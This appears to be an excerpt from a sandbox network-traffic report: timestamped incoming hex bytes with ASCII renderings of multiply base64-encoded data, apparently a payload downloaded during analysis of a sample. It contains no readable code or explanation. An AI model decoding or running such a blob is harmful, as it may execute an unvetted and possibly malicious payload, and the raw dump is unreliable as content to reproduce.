51 00 6b 00 46 00 42 00 51 00 55 00 4e 00 42 00 5a 00 30 00 46 00 42 00 51 00 58 00 64 00 42 00 51 00 55 00 46 00 42 
00 62 00 30 00 46 00 42 00 51 00 55 00 56 00 42 00 51 00 55 00 46 00 42 
Data Ascii: UkJtOUZBQUFLRVFVWFdCTUZFUVVSQkcrcUFBQUdQekgrLy8vZUF5YmVBTjRESnQ0QUJpb0pLa0ZNQU
FBQUFBQUFhZ0FBQUpnQkFBQUNBZ0FBQXdBQUFBb0FBQUVBQUFB

2021-11-09 21:22:01 UTC 1370 IN Data Raw: 00 6e 00 70 00 7a 00 51 00 55 00 46 00 42 00 63 00 48 00 5a 00 48 00 64 00 30 00 56 00 42 00 51 00 6d 00 
68 00 46 00 53 00 55 00 56 00 52 00 5a 00 48 00 5a 00 49 00 55 00 55 00 56 00 42 00 51 00 6d 00 68 00 46 00 53 00 55 
00 56 00 33 00 59 00 6d 00 56 00 42 00 65 00 57 00 4a 00 6c 00 51 00 55 00 4a 00 46 00 52 00 30 00 78 00 42 00 5a 00 
30 00 64 00 46 00 55 00 56 00 70 00 32 00 55 00 6e 00 64 00 42 00 51 00 55 00 4e 00 6f 00 52 00 55 00 5a 00 47 00 4d 
00 57 00 64 00 55 00 51 00 6c 00 4a 00 46 00 52 00 6b 00 56 00 52 00 55 00 6e 00 5a 00 78 00 5a 00 30 00 46 00 42 00 
51 00 6d 00 6f 00 34 00 63 00 69 00 38 00 76 00 4c 00 79 00 38 00 7a 00 5a 00 30 00 31 00 74 00 4d 00 32 00 64 00 45 
00 5a 00 55 00 46 00 35 00 59 00 6d 00 56 00 42 00 51 00 56 00 6c 00 78 00 
Data Ascii: npzQUFBcHZHd0VBQmhFSUVRZHZIUUVBQmhFSUV3YmVBeWJlQUJFR0xBZ0dFUVp2UndBQ
UNoRUZGMWdUQlJFRkVRUnZxZ0FBQmo4ci8vLy8zZ01tM2dEZUF5YmVBQVlx

2021-11-09 21:22:01 UTC 1372 IN Data Raw: 6b 00 46 00 42 00 51 00 55 00 74 00 46 00 64 00 32 00 52 00 36 00 55 00 6b 00 46 00 46 00 51 00 55 00 4a 
00 6f 00 54 00 55 00 6c 00 46 00 55 00 57 00 64 00 53 00 51 00 6b 00 4a 00 46 00 52 00 6b 00 68 00 33 00 65 00 55 00 
35 00 58 00 5a 00 30 00 46 00 42 00 51 00 56 00 4e 00 59 00 55 00 58 00 42 00 6e 00 51 00 55 00 46 00 43 00 51 00 32 
00 63 00 7a 00 51 00 55 00 46 00 42 00 53 00 32 00 4e 00 36 00 5a 00 30 00 46 00 42 00 51 00 58 00 42 00 32 00 63 00 
6b 00 46 00 42 00 51 00 55 00 4a 00 74 00 4f 00 44 00 64 00 42 00 51 00 55 00 46 00 4c 00 59 00 6e 00 6f 00 77 00 51 
00 6b 00 46 00 42 00 57 00 56 00 4a 00 44 00 51 00 6b 00 56 00 46 00 52 00 56 00 46 00 56 00 5a 00 6b 00 64 00 4a 00 
4d 00 57 00 46 00 42 00 51 00 55 00 46 00 43 00 53 00 6d 00 52 00 44 00 4d 
Data Ascii: kFBQUtFd2R6UkFFQUJoTUlFUWdSQkJFRkh3eU5XZ0FBQVNYUXBnQUFCQ2czQUFBS2N6Z0FBQXB2ckF
BQUJtODdBQUFLYnowQkFBWVJDQkVFRVFVZkdJMWFBQUFCSmRDM
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2021-11-09 21:22:01 UTC 1373 IN Data Raw: 00 4e 00 5a 00 51 00 55 00 46 00 42 00 57 00 6e 00 5a 00 50 00 64 00 30 00 46 00 42 00 51 00 32 00 64 00 
79 00 5a 00 55 00 46 00 35 00 59 00 6d 00 56 00 42 00 51 00 56 00 6c 00 78 00 51 00 56 00 4a 00 42 00 51 00 55 00 46 
00 42 00 51 00 55 00 46 00 43 00 5a 00 30 00 45 00 78 00 54 00 33 00 64 00 42 00 52 00 45 00 52 00 33 00 51 00 55 00 
46 00 42 00 55 00 6b 00 31 00 33 00 51 00 57 00 64 00 42 00 62 00 6b 00 46 00 42 00 51 00 55 00 46 00 43 00 64 00 30 
00 46 00 42 00 52 00 56 00 4a 00 6a 00 53 00 30 00 46 00 74 00 4f 00 55 00 31 00 42 00 51 00 55 00 46 00 4c 00 51 00 
33 00 6c 00 7a 00 55 00 6b 00 46 00 74 00 4f 00 55 00 31 00 42 00 51 00 55 00 46 00 4c 00 51 00 33 00 64 00 5a 00 57 
00 46 00 64 00 42 00 62 00 30 00 64 00 48 00 52 00 45 00 56 00 44 00 51 00 
Data Ascii: NZQUFBWnZPd0FBQ2dyZUF5YmVBQVlxQVJBQUFBQUFCZ0ExT3dBRER3QUFBUk13QWdBbk
FBQUFCd0FBRVJjS0FtOU1BQUFLQ3lzUkFtOU1BQUFLQ3dZWFdBb0dHREVDQ

2021-11-09 21:22:01 UTC 1374 IN Data Raw: 6c 00 4c 00 4d 00 32 00 64 00 4e 00 62 00 54 00 4e 00 6e 00 52 00 47 00 56 00 42 00 65 00 57 00 4a 00 6c 00 
51 00 55 00 46 00 5a 00 63 00 55 00 46 00 42 00 51 00 55 00 46 00 52 00 56 00 46 00 46 00 42 00 51 00 55 00 46 00 42 
00 51 00 55 00 46 00 42 00 51 00 55 00 78 00 42 00 55 00 55 00 46 00 42 00 52 00 30 00 46 00 42 00 51 00 55 00 46 00 
44 00 54 00 55 00 4a 00 42 00 51 00 55 00 46 00 45 00 51 00 55 00 46 00 42 00 51 00 55 00 52 00 33 00 51 00 55 00 46 
00 42 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 54 00 55 00 46 00 42 00 51 00 55 00 46 00 49 00 51 00 55 00 
56 00 42 00 51 00 55 00 4e 00 6e 00 51 00 6b 00 46 00 42 00 51 00 55 00 52 00 42 00 51 00 55 00 46 00 42 00 51 00 32 
00 64 00 42 00 51 00 55 00 46 00 53 00 63 00 33 00 64 00 42 00 64 00 30 
Data Ascii: lLM2dNbTNnRGVBeWJlQUFZcUFBQUFRVFFBQUFBQUFBQUxBUUFBR0FBQUFDTUJBQUFEQU
FBQUR3QUFBUUFBQUFBTUFBQUFIQUVBQUNnQkFBQURBQUFBQ2dBQUFSc3dBd0

2021-11-09 21:22:01 UTC 1376 IN Data Raw: 00 43 00 61 00 57 00 39 00 42 00 51 00 56 00 4a 00 33 00 51 00 55 00 46 00 42 00 53 00 55 00 46 00 4f 00 51 
00 55 00 4a 00 4a 00 5a 00 6b 00 46 00 42 00 56 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 
51 00 6d 00 64 00 44 00 54 00 57 00 74 00 6e 00 51 00 55 00 52 00 44 00 5a 00 30 00 46 00 42 00 51 00 56 00 4a 00 7a 
00 64 00 30 00 4a 00 42 00 51 00 6b 00 46 00 42 00 55 00 55 00 46 00 42 00 51 00 33 00 64 00 42 00 51 00 55 00 56 00 
59 00 54 00 6b 00 78 00 42 00 55 00 55 00 46 00 48 00 51 00 32 00 64 00 4b 00 64 00 6c 00 64 00 52 00 51 00 55 00 46 
00 44 00 62 00 54 00 6c 00 69 00 51 00 55 00 46 00 42 00 53 00 30 00 4e 00 36 00 61 00 57 00 70 00 42 00 51 00 55 00 
46 00 42 00 51 00 6a 00 49 00 34 00 55 00 45 00 46 00 42 00 51 00 55 00 
Data Ascii: CaW9BQVJ3QUFBSUFOQUJJZkFBVUFBQUFBQUFBQmdDTWtnQURDZ0FBQVJzd0JBQkFBUUF
BQ3dBQUVYTkxBUUFHQ2dKdldRQUFDbTliQUFBS0N6aWpBQUFBQjI4UEFBQU

2021-11-09 21:22:01 UTC 1377 IN Data Raw: 6e 00 51 00 55 00 52 00 44 00 5a 00 30 00 46 00 42 00 51 00 56 00 46 00 4a 00 51 00 55 00 4a 00 6e 00 52 
00 46 00 67 00 7a 00 55 00 55 00 4a 00 6f 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 43 00 4e 00 45 00 4e 00 4c 00 
52 00 30 00 6c 00 42 00 51 00 55 00 46 00 76 00 63 00 55 00 64 00 36 00 51 00 55 00 70 00 42 00 53 00 57 00 74 00 43 
00 51 00 55 00 46 00 42 00 54 00 55 00 46 00 42 00 51 00 56 00 4a 00 6a 00 65 00 47 00 74 00 42 00 51 00 55 00 46 00 
76 00 53 00 30 00 46 00 75 00 4e 00 45 00 4e 00 42 00 55 00 55 00 46 00 46 00 53 00 6c 00 4d 00 77 00 57 00 45 00 70 
00 75 00 4e 00 45 00 4a 00 42 00 55 00 55 00 46 00 46 00 4c 00 32 00 64 00 69 00 61 00 55 00 46 00 52 00 51 00 55 00 
64 00 6a 00 65 00 47 00 39 00 42 00 51 00 55 00 46 00 76 00 62 00 47 00 64 
Data Ascii: nQURDZ0FBQVFJQUJnRFgzUUJoQUFBQUFCNENLR0lBQUFvcUd6QUpBSWtCQUFBTUFBQVJ
jeGtBQUFvS0FuNENBUUFFSlMwWEpuNEJBUUFFL2diaUFRQUdjeG9BQUFvbGd

2021-11-09 21:22:01 UTC 1378 IN Data Raw: 00 56 00 30 00 4e 00 42 00 51 00 55 00 46 00 48 00 4d 00 6a 00 68 00 4d 00 51 00 55 00 46 00 42 00 53 00 
7a 00 4e 00 4f 00 4e 00 45 00 52 00 4b 00 64 00 44 00 52 00 42 00 51 00 6a 00 49 00 34 00 54 00 55 00 46 00 42 00 51 
00 55 00 74 00 50 00 63 00 30 00 51 00 72 00 4c 00 79 00 38 00 76 00 5a 00 55 00 4e 00 6e 00 59 00 33 00 4e 00 43 00 
5a 00 32 00 52 00 32 00 51 00 33 00 64 00 42 00 51 00 55 00 4e 00 30 00 65 00 6d 00 56 00 42 00 65 00 57 00 4a 00 6c 
00 51 00 55 00 46 00 5a 00 63 00 55 00 46 00 42 00 51 00 55 00 46 00 52 00 56 00 31 00 46 00 42 00 51 00 55 00 46 00 
4a 00 51 00 55 00 46 00 42 00 51 00 6a 00 5a 00 42 00 51 00 55 00 46 00 42 00 4d 00 32 00 64 00 42 00 51 00 55 00 46 
00 47 00 5a 00 30 00 4a 00 42 00 51 00 55 00 46 00 50 00 51 00 55 00 46 00 
Data Ascii: V0NBQUFHMjhMQUFBSzNONERKdDRBQjI4TUFBQUtPc0QrLy8vZUNnY3NCZ2R2Q3dBQUN0
emVBeWJlQUFZcUFBQUFRV1FBQUFJQUFBQjZBQUFBM2dBQUFGZ0JBQUFPQUF

2021-11-09 21:22:01 UTC 1380 IN Data Raw: 51 00 55 00 46 00 42 00 53 00 32 00 49 00 32 00 64 00 30 00 46 00 42 00 51 00 56 00 70 00 32 00 54 00 33 
00 64 00 42 00 51 00 55 00 4e 00 74 00 4f 00 48 00 6c 00 42 00 55 00 55 00 46 00 48 00 52 00 56 00 46 00 5a 00 53 00 
55 00 56 00 52 00 55 00 57 00 56 00 71 00 56 00 6d 00 39 00 42 00 51 00 55 00 46 00 46 00 62 00 44 00 42 00 4f 00 4e 0
0 45 00 46 00 42 00 51 00 56 00 46 00 76 00 54 00 6e 00 64 00 42 00 51 00 55 00 4e 00 75 00 54 00 54 00 52 00 42 00 
51 00 55 00 46 00 4c 00 59 00 6a 00 5a 00 33 00 51 00 55 00 46 00 42 00 57 00 56 00 64 00 69 00 65 00 57 00 4e 00 42 
00 51 00 55 00 46 00 76 00 5a 00 6b 00 31 00 6d 00 4e 00 45 00 4a 00 69 00 65 00 6c 00 46 00 43 00 51 00 55 00 46 00 
5a 00 55 00 6b 00 4a 00 6e 00 5a 00 31 00 4a 00 43 00 51 00 6e 00 6c 00 4f 
Data Ascii: QUFBS2I2d0FBQVp2T3dBQUNtOHlBUUFHRVFZSUVRUWVqVm9BQUFFbDBONEFBQVFvTndB
QUNuTTRBQUFLYjZ3QUFBWVdieWNBQUFvZk1mNEJielFCQUFZUkJnZ1JCQnlO

2021-11-09 21:22:01 UTC 1381 IN Data Raw: 00 32 00 63 00 7a 00 51 00 55 00 46 00 42 00 53 00 32 00 4e 00 36 00 5a 00 30 00 46 00 42 00 51 00 57 00 
39 00 76 00 57 00 46 00 46 00 42 00 51 00 55 00 4e 00 70 00 64 00 30 00 64 00 43 00 65 00 47 00 56 00 68 00 51 00 32 
00 6c 00 7a 00 52 00 55 00 4a 00 34 00 59 00 57 00 46 00 44 00 64 00 44 00 52 00 45 00 53 00 6e 00 51 00 30 00 51 00 
55 00 4a 00 70 00 62 00 30 00 46 00 42 00 55 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 4a 00 6e 00 51 
00 6d 00 39 00 69 00 5a 00 30 00 46 00 45 00 51 00 32 00 64 00 42 00 51 00 55 00 46 00 53 00 63 00 33 00 64 00 43 00 
55 00 55 00 4a 00 36 00 51 00 55 00 46 00 42 00 51 00 55 00 52 00 6e 00 51 00 55 00 46 00 46 00 57 00 44 00 52 00 6c 
00 51 00 55 00 46 00 42 00 53 00 30 00 4e 00 6e 00 53 00 57 00 5a 00 45 00 
Data Ascii: 2czQUFBS2N6Z0FBQW9vWFFBQUNpd0dCeGVhQ2lzRUJ4YWFDdDRESnQ0QUJpb0FBUkFBQ
UFBQUJnQm9iZ0FEQ2dBQUFSc3dCUUJ6QUFBQURnQUFFWDRlQUFBS0NnSWZE

2021-11-09 21:22:01 UTC 1382 IN Data Raw: 55 00 46 00 42 00 51 00 57 00 39 00 6d 00 51 00 7a 00 51 00 78 00 59 00 55 00 46 00 42 00 51 00 55 00 4a 
00 4b 00 5a 00 45 00 4d 00 7a 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 45 00 59 00 30 00 46 00 42 00 51 00 58 00 
42 00 36 00 54 00 30 00 46 00 42 00 51 00 55 00 4e 00 70 00 5a 00 7a 00 56 00 42 00 51 00 55 00 46 00 4c 00 52 00 58 
00 64 00 6e 00 55 00 6b 00 4e 00 44 00 5a 00 7a 00 5a 00 42 00 51 00 55 00 46 00 4c 00 54 00 32 00 55 00 34 00 51 00 
55 00 46 00 42 00 51 00 6e 00 70 00 57 00 5a 00 30 00 46 00 42 00 51 00 32 00 68 00 4e 00 53 00 6b 00 56 00 52 00 61 
00 31 00 4a 00 44 00 52 00 7a 00 6c 00 79 00 51 00 55 00 46 00 42 00 53 00 30 00 56 00 52 00 61 00 32 00 5a 00 55 00 
53 00 54 00 46 00 68 00 51 00 55 00 46 00 42 00 51 00 6b 00 70 00 6b 00 52 
Data Ascii: UFBQW9mQzQxYUFBQUJKZEMzQUFBRUtEY0FBQXB6T0FBQUNpZzVBQUFLRXdnUkNDZzZBQ
UFLT2U4QUFBQnpWZ0FBQ2hNSkVRa1JDRzlyQUFBS0VRa2ZUSTFhQUFBQkpkR

2021-11-09 21:22:01 UTC 1384 IN Data Raw: 00 46 00 53 00 4e 00 45 00 4e 00 4c 00 52 00 30 00 6c 00 42 00 51 00 55 00 46 00 76 00 63 00 58 00 64 00 6e 
00 53 00 57 00 39 00 5a 00 5a 00 30 00 46 00 42 00 51 00 32 00 64 00 4a 00 62 00 32 00 4a 00 52 00 51 00 55 00 46 00 
44 00 62 00 6b 00 74 00 43 00 51 00 58 00 64 00 43 00 64 00 32 00 4e 00 7a 00 4f 00 45 00 52 00 42 00 53 00 45 00 49 
00 72 00 53 00 47 00 64 00 42 00 51 00 55 00 4e 00 70 00 5a 00 32 00 5a 00 42 00 51 00 55 00 46 00 4c 00 53 00 30 00 
52 00 72 00 51 00 55 00 46 00 42 00 62 00 32 00 38 00 79 00 51 00 55 00 46 00 42 00 51 00 6d 00 34 00 77 00 51 00 6b 
00 46 00 42 00 51 00 55 00 56 00 4c 00 5a 00 30 00 46 00 42 00 51 00 55 00 4a 00 7a 00 64 00 30 00 46 00 52 00 51 00 
56 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 
Data Ascii: FSNENLR0lBQUFvcXdnSW9ZZ0FBQ2dJb2JRQUFDbktCQXdCd2NzOERBSEIrSGdBQUNpZ2ZBQUFLS0Rr
QUFBb28yQUFBQm4wQkFBQUVLZ0FBQUJzd0FRQVFBQUFBQUFBQ
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2021-11-09 21:22:01 UTC 1385 IN Data Raw: 63 00 76 00 4d 00 45 00 46 00 52 00 51 00 55 00 64 00 4c 00 5a 00 31 00 6c 00 78 00 52 00 58 00 70 00 42 00 
53 00 45 00 46 00 45 00 4f 00 45 00 46 00 42 00 51 00 55 00 46 00 52 00 51 00 55 00 46 00 42 00 55 00 6d 00 4e 00 6e 
00 56 00 55 00 5a 00 42 00 53 00 45 00 46 00 76 00 59 00 6d 00 64 00 42 00 51 00 55 00 4e 00 6e 00 53 00 30 00 39 00 
68 00 55 00 6e 00 52 00 61 00 61 00 6c 00 64 00 6e 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 42 00 61 00 48 00 4e 
00 48 00 52 00 6d 00 64 00 4c 00 54 00 32 00 46 00 53 00 64 00 46 00 70 00 4c 00 52 00 7a 00 68 00 42 00 51 00 55 00 
46 00 76 00 52 00 30 00 5a 00 6f 00 55 00 57 00 39 00 4b 00 64 00 30 00 46 00 42 00 51 00 6d 00 64 00 7a 00 62 00 45 
00 45 00 79 00 4f 00 58 00 64 00 42 00 51 00 55 00 46 00 4c 00 51 00 6e 
Data Ascii: cvMEFRQUdLZ1lxRXpBSEFEOEFBQUFRQUFBUmNnVUZBSEFvYmdBQUNnS09hUnRaaldnQU
FBRUtBaHNHRmdLT2FSdFpLRzhBQUFvR0ZoUW9Kd0FBQmdzbEEyOXdBQUFLQn

2021-11-09 21:22:01 UTC 1386 IN Data Raw: 00 50 00 59 00 56 00 46 00 72 00 53 00 6d 00 70 00 74 00 61 00 31 00 4e 00 43 00 65 00 46 00 6c 00 76 00 52 
00 30 00 46 00 42 00 51 00 55 00 4a 00 70 00 56 00 57 00 64 00 42 00 63 00 55 00 46 00 42 00 64 00 30 00 52 00 4e 00 
52 00 32 00 4d 00 7a 00 52 00 55 00 46 00 42 00 51 00 58 00 41 00 32 00 54 00 45 00 46 00 61 00 65 00 6d 00 4e 00 52 
00 51 00 55 00 46 00 44 00 62 00 6e 00 4a 00 6c 00 52 00 47 00 68 00 4a 00 52 00 69 00 39 00 6f 00 57 00 54 00 4a 00 4
2 00 51 00 55 00 46 00 44 00 59 00 6e 00 64 00 7a 00 51 00 55 00 46 00 42 00 63 00 6d 00 4e 00 42 00 5a 00 32 00 4e 
00 76 00 52 00 31 00 46 00 42 00 51 00 55 00 4a 00 70 00 57 00 55 00 6c 00 4c 00 53 00 45 00 6c 00 42 00 51 00 55 00 
46 00 76 00 51 00 30 00 4a 00 6f 00 57 00 57 00 39 00 47 00 64 00 30 00 
Data Ascii: PYVFrSmpta1NCeFlvR0FBQUJpVWdBcUFBd0RNR2MzRUFBQXA2TEFaemNRQUFDbnJlRGhJRi9oWTJBQ
UFDYndzQUFBcmNBZ2NvR1FBQUJpWUlLSElBQUFvQ0JoWW9Gd0

2021-11-09 21:22:01 UTC 1388 IN Data Raw: 42 00 51 00 55 00 46 00 58 00 51 00 55 00 46 00 42 00 55 00 6b 00 5a 00 6e 00 62 00 30 00 4e 00 42 00 64 
00 31 00 46 00 56 00 52 00 6d 00 68 00 4a 00 51 00 55 00 5a 00 70 00 5a 00 32 00 46 00 42 00 51 00 55 00 46 00 48 00 
51 00 33 00 64 00 6a 00 63 00 30 00 5a 00 75 00 53 00 6c 00 52 00 43 00 5a 00 30 00 4a 00 33 00 51 00 6a 00 52 00 34 
00 64 00 45 00 46 00 42 00 51 00 55 00 4a 00 4c 00 52 00 6b 00 31 00 42 00 51 00 55 00 46 00 77 00 65 00 6d 00 56 00 
42 00 51 00 55 00 46 00 44 00 62 00 6d 00 39 00 48 00 61 00 6c 00 64 00 6e 00 51 00 55 00 46 00 42 00 52 00 55 00 31 
00 42 00 5a 00 30 00 31 00 46 00 51 00 30 00 46 00 70 00 54 00 32 00 46 00 53 00 53 00 55 00 46 00 47 00 61 00 57 00 
64 00 68 00 51 00 55 00 46 00 42 00 52 00 30 00 4e 00 33 00 59 00 33 00 4e 
Data Ascii: BQUFXQUFBUkZnb0NBd1FVRmhJQUZpZ2FBQUFHQ3djc0ZuSlRCZ0J3QjR4dEFBQUJLRk1BQUFwemVBQ
UFDbm9HaldnQUFBRU1BZ01FQ0FpT2FSSUFGaWdhQUFBR0N3Y3N

2021-11-09 21:22:01 UTC 1389 IN Data Raw: 00 62 00 31 00 52 00 4e 00 51 00 55 00 31 00 42 00 64 00 6c 00 46 00 42 00 51 00 55 00 46 00 43 00 5a 00 30 
00 46 00 42 00 51 00 6b 00 59 00 72 00 53 00 47 00 64 00 42 00 51 00 55 00 4e 00 6e 00 62 00 31 00 64 00 44 00 65 00 
6d 00 6c 00 70 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 6e 00 5a 00 48 00 5a 00 6d 00 5a 00 30 00 46 00 42 00 51 
00 32 00 6c 00 56 00 5a 00 6b 00 51 00 78 00 4f 00 45 00 31 00 48 00 62 00 55 00 31 00 6d 00 52 00 44 00 45 00 34 00 5
4 00 6b 00 4e 00 53 00 4f 00 45 00 70 00 4e 00 55 00 6a 00 68 00 48 00 51 00 31 00 49 00 34 00 53 00 31 00 64 00 53 00 
4f 00 55 00 4a 00 58 00 54 00 6b 00 56 00 55 00 51 00 6b 00 4a 00 4a 00 52 00 55 00 74 00 49 00 4f 00 45 00 46 00 42 
00 51 00 57 00 39 00 76 00 5a 00 30 00 46 00 42 00 51 00 55 00 4e 00 
Data Ascii: b1RNQU1BdlFBQUFCZ0FBQkYrSGdBQUNnb1dDemlpQUFBQUFnZHZmZ0FBQ2lVZkQxOE1HbU1mRDE4Tk
NSOEpNUjhHQ1I4S1dSOUJXTkVUQkJJRUtIOEFBQW9vZ0FBQUN

2021-11-09 21:22:01 UTC 1390 IN Data Raw: 51 00 55 00 46 00 42 00 62 00 33 00 46 00 48 00 65 00 6b 00 46 00 46 00 51 00 55 00 6f 00 34 00 51 00 55 00 
46 00 42 00 51 00 57 00 46 00 42 00 51 00 55 00 46 00 53 00 53 00 30 00 35 00 7a 00 51 00 55 00 46 00 42 00 57 00 6e 
00 6c 00 54 00 5a 00 32 00 4e 00 42 00 59 00 30 00 46 00 4f 00 65 00 56 00 6c 00 42 00 59 00 30 00 46 00 6a 00 51 00 
32 00 68 00 6d 00 51 00 55 00 46 00 42 00 53 00 32 00 4d 00 30 00 5a 00 30 00 46 00 42 00 51 00 58 00 42 00 35 00 57 
00 6b 00 46 00 6a 00 51 00 57 00 4e 00 44 00 61 00 55 00 70 00 42 00 51 00 55 00 46 00 4c 00 52 00 6d 00 38 00 78 00 
4e 00 45 00 46 00 42 00 51 00 55 00 4a 00 6a 00 4e 00 47 00 39 00 42 00 51 00 55 00 46 00 77 00 65 00 6d 00 6c 00 33 
00 51 00 55 00 46 00 44 00 61 00 56 00 5a 00 32 00 61 00 6b 00 46 00 42 
Data Ascii: QUFBb3FHekFFQUo4QUFBQWFBQUFSS05zQUFBWnlTZ2NBY0FOeVlBY0FjQ2hmQUFBS2M0
Z0FBQXB5WkFjQWNDaUpBQUFLRm8xNEFBQUJjNG9BQUFweml3QUFDaVZ2akFB

2021-11-09 21:22:01 UTC 1392 IN Data Raw: 00 56 00 46 00 42 00 52 00 30 00 4e 00 30 00 4e 00 45 00 5a 00 4b 00 61 00 46 00 6c 00 4c 00 4d 00 32 00 64 
00 42 00 52 00 30 00 74 00 6e 00 51 00 55 00 46 00 42 00 55 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 
46 00 42 00 51 00 56 00 42 00 45 00 64 00 30 00 46 00 47 00 52 00 48 00 64 00 42 00 51 00 55 00 46 00 53 00 63 00 33 
00 64 00 42 00 5a 00 30 00 46 00 58 00 51 00 55 00 46 00 42 00 51 00 55 00 68 00 42 00 51 00 55 00 46 00 46 00 55 00 
55 00 6f 00 33 00 51 00 57 00 64 00 42 00 51 00 55 00 4a 00 42 00 54 00 6e 00 5a 00 43 00 5a 00 30 00 56 00 42 00 51 
00 6d 00 64 00 79 00 5a 00 55 00 4a 00 54 00 57 00 56 00 64 00 44 00 64 00 44 00 52 00 42 00 51 00 6d 00 6c 00 76 00 
51 00 55 00 46 00 42 00 52 00 56 00 46 00 42 00 51 00 55 00 46 00 42 00 
Data Ascii: VFBR0N0NEZKaFlLM2dBR0tnQUFBUkFBQUFBQUFBQVBEd0FGRHdBQUFSc3dBZ0FXQUFBQ
UhBQUFFUUo3QWdBQUJBTnZCZ0VBQmdyZUJTWVdDdDRBQmlvQUFBRVFBQUFB

2021-11-09 21:22:01 UTC 1393 IN Data Raw: 55 00 46 00 42 00 52 00 48 00 63 00 34 00 51 00 55 00 4a 00 52 00 4f 00 45 00 46 00 42 00 51 00 55 00 56 00 
69 00 54 00 55 00 46 00 4a 00 51 00 55 00 5a 00 6e 00 51 00 55 00 46 00 42 00 51 00 6e 00 64 00 42 00 51 00 55 00 4a 
00 46 00 51 00 32 00 56 00 33 00 53 00 55 00 46 00 42 00 51 00 56 00 46 00 45 00 59 00 6e 00 63 00 30 00 51 00 6b 00 
46 00 42 00 57 00 55 00 73 00 7a 00 5a 00 31 00 56 00 74 00 52 00 6d 00 64 00 79 00 5a 00 55 00 46 00 42 00 57 00 58 
00 46 00 42 00 51 00 55 00 46 00 43 00 52 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 
54 00 68 00 51 00 51 00 55 00 46 00 56 00 55 00 45 00 46 00 42 00 51 00 55 00 4a 00 48 00 65 00 6b 00 46 00 44 00 51 
00 55 00 4a 00 5a 00 51 00 55 00 46 00 42 00 51 00 57 00 4e 00 42 00 51 
Data Ascii: UFBRHc4QUJROEFBQUViTUFJQUZnQUFBQndBQUJFQ2V3SUFBQVFEYnc0QkFBWUszZ1VtR
mdyZUFBWXFBQUFCRUFBQUFBQUFBQThQQUFVUEFBQUJHekFDQUJZQUFBQWNBQ

2021-11-09 21:22:01 UTC 1394 IN Data Raw: 00 4a 00 42 00 62 00 6e 00 4e 00 44 00 51 00 55 00 46 00 42 00 52 00 55 00 45 00 79 00 4f 00 46 00 42 00 42 
00 55 00 55 00 46 00 48 00 51 00 33 00 51 00 30 00 52 00 6b 00 70 00 6f 00 57 00 55 00 73 00 7a 00 5a 00 30 00 46 00 
48 00 53 00 32 00 64 00 42 00 51 00 55 00 46 00 53 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 
00 42 00 55 00 45 00 52 00 33 00 51 00 55 00 5a 00 45 00 64 00 30 00 46 00 42 00 51 00 56 00 4a 00 7a 00 64 00 30 00 
46 00 6e 00 51 00 56 00 64 00 42 00 51 00 55 00 46 00 42 00 53 00 45 00 46 00 42 00 51 00 55 00 56 00 52 00 53 00 6a 
00 64 00 42 00 5a 00 30 00 46 00 42 00 51 00 6b 00 46 00 4f 00 64 00 6b 00 56 00 52 00 52 00 55 00 46 00 43 00 5a 00 
33 00 4a 00 6c 00 51 00 6c 00 4e 00 5a 00 56 00 30 00 4e 00 30 00 4e 00 
Data Ascii: JBbnNDQUFBRUEyOFBBUUFHQ3Q0RkpoWUszZ0FHS2dBQUFSQUFBQUFBQUFBUER3QUZEd0
FBQVJzd0FnQVdBQUFBSEFBQUVRSjdBZ0FBQkFOdkVRRUFCZ3JlQlNZV0N0N

2021-11-09 21:22:01 UTC 1398 IN Data Raw: 55 00 55 00 46 00 42 00 51 00 6d 00 35 00 50 00 51 00 6b 00 46 00 42 00 51 00 55 00 64 00 76 00 61 00 56 
00 56 00 6d 00 51 00 31 00 4a 00 55 00 4b 00 30 00 4a 00 74 00 53 00 55 00 46 00 42 00 51 00 56 00 70 00 36 00 5a 00 
31 00 46 00 42 00 51 00 55 00 4a 00 78 00 53 00 57 00 78 00 49 00 64 00 32 00 39 00 56 00 4c 00 32 00 64 00 61 00 61 
00 6b 00 46 00 42 00 51 00 55 00 64 00 6a 00 4e 00 45 00 56 00 42 00 51 00 55 00 46 00 68 00 61 00 55 00 70 00 53 00 
4f 00 45 00 78 00 47 00 55 00 44 00 52 00 48 00 57 00 6b 00 46 00 42 00 51 00 55 00 4a 00 75 00 54 00 30 00 4a 00 42 
00 51 00 55 00 46 00 48 00 62 00 32 00 6c 00 56 00 5a 00 6b 00 52 00 43 00 56 00 43 00 74 00 43 00 62 00 56 00 56 00 
42 00 51 00 55 00 46 00 61 00 65 00 6d 00 64 00 52 00 51 00 55 00 46 00 43 
Data Ascii: UUFBQm5PQkFBQUdvaVVmQ1JUK0JtSUFBQVp6Z1FBQUJxSWxId29VL2daakFBQUdjNEVBQUFhaUpSOE
xGUDRHWkFBQUJuT0JBQUFHb2lVZkRCVCtCbVVBQUFaemdRQUFC
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2021-11-09 21:22:01 UTC 1403 IN Data Raw: 00 58 00 52 00 6d 00 68 00 52 00 62 00 33 00 5a 00 42 00 51 00 55 00 46 00 44 00 63 00 55 00 6c 00 76 00 64 
00 6c 00 46 00 42 00 51 00 55 00 4e 00 70 00 61 00 53 00 74 00 42 00 51 00 55 00 46 00 4c 00 5a 00 30 00 46 00 5a 00 
51 00 6b 00 46 00 42 00 55 00 69 00 74 00 43 00 5a 00 30 00 56 00 42 00 51 00 6b 00 68 00 31 00 4c 00 30 00 46 00 42 
00 51 00 55 00 74 00 6d 00 5a 00 31 00 6c 00 43 00 51 00 55 00 46 00 52 00 62 00 7a 00 42 00 6e 00 51 00 55 00 46 00 
43 00 62 00 53 00 39 00 42 00 51 00 55 00 46 00 42 00 53 00 32 00 49 00 34 00 52 00 55 00 46 00 42 00 51 00 57 00 39 
00 76 00 64 00 58 00 64 00 46 00 51 00 55 00 4a 00 70 00 63 00 45 00 64 00 43 00 51 00 32 00 70 00 44 00 51 00 55 00 
46 00 42 00 53 00 32 00 49 00 34 00 54 00 55 00 46 00 42 00 51 00 57 00 
